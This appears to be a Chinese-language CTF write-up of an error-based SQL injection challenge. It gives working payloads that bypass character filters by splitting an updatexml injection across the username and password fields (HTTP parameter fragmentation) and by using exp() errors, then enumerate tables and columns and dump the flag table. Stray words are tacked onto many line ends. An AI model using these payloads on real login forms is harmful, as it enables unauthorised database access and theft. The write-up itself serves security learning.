頁面提示咱們POSTusername與password兩個參數,看了看源碼,裏面提示了咱們sql語句sql
$sql="select * from users where username='$username' and password='$password'";
先隨手post幾個數試試,發現頁面返回有四種形式,當輸入admin,admin時返回Login failed,當輸入admin',admin時發生報錯,當輸入admin' and '1'='1,admin時出現Sql injection detected,甚至輸入(),admin返回了User name unknow error.,這就代表服務器端對輸入字符進行了過濾,每當返回Sql injection detected就代表存在被過濾的字符或字符串。數據庫
首先手動測一下username過濾了些啥:‘=‘、‘;’、‘#’、‘,’、‘()’、‘-’、union,limit,substr,floor,mid我已經感受username涼了,()都給濾了還玩個毛線服務器
接着去看看password有沒有但願:‘=’、‘;’、‘#’、‘-’、union、limit、substr,mid,floor,ExtractValue,updatexmlpost
大佬還給我留了一個NAME_CONST,但=又被和諧了,這麼一來根本沒軟用,好一道勸退題啊學習
接下來確定又是學習沒見過的科技的時間了spa
看了p神的操做,首先是基本操做用or語句報錯整出了數據庫名:error_based_hpfcode
經過庫名的提示,這裏有個hpf,hpf全稱爲HTTP Parameter Fragment,sql注入裏有一種就叫http分割注入regexp
payload:orm
username=' or updatexml/*&password=*/(1,concat(0x3a,(select user())),1) or 'xml
這裏username最後爲 /* 而password最前面爲*/ 在拼接的時候就實現了/* */註釋功能
這一題的意思就是在username過濾(),password過濾報錯語句,所以咱們要在username處使用報錯語句,password處使用()
知道原理後開始操做:
知道了庫名以後接下來就是拿表,但因爲這裏和諧了limit,=與like,這裏須要用regexp來代替=
payload:
username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema regexp database()),0x7e),1) or '
爆字段:
payload:
username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns where table_name regexp 'ffll44jj'),0x7e),1) or '
愉悅的去拿flag
payload:
username=' or updatexml/*&password=*/(1,concat(0x7e,(SELECT value FROM ffll44jj),0x7e),1) or '
雖然結果出來了,但想到前面p神還提到另外一種思路,因爲題目沒有過濾regexp,那麼這裏能夠直接在password處採用exp報錯
關於exp報錯這裏給出一個我所參考的連接:使用exp進行SQL報錯注入
以前已經知道了數據庫名,那麼咱們直接來報表名:
payload:
username=0&password=' or exp(~(select*from (select group_concat(table_name) from information_schema.tables where table_schema regexp database() )x)) or '1
接着是列
payload:
username=0&password=' or exp(~(select*from (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' )x)) or '1
最後來dump數據:
payload:
username=0&password=' or exp(~(select*from (select value from ffll44jj )x)) or '1